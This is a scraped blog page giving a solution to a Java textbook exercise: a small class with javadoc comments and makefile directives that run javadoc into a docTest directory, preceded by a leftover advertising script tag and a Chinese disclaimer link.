<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>
阅前声明: http://blog.csdn.net/heimaoxiaozi/archive/2007/01/19/1487884.aspx
/****************** Exercise 10 *****************
* Turn docTest into a file that compiles and
* then run it through javadoc. Verify the
* resulting documentation with your Web browser.
***********************************************/
/** A class comment */
public class E10_docTest {
/** A variable comment */
public int i;
/** A method comment */
public void f() {}
}
//+M mkdir docTest
//+M javadoc E10_docTest.java –d docTest
**You must still execute javadoc and verify the results, but you can see the commands that are added to the makefile to do this, as +M comment directives. Note that we’re only concerned that the file compiles, so there’s no makefile directive to run it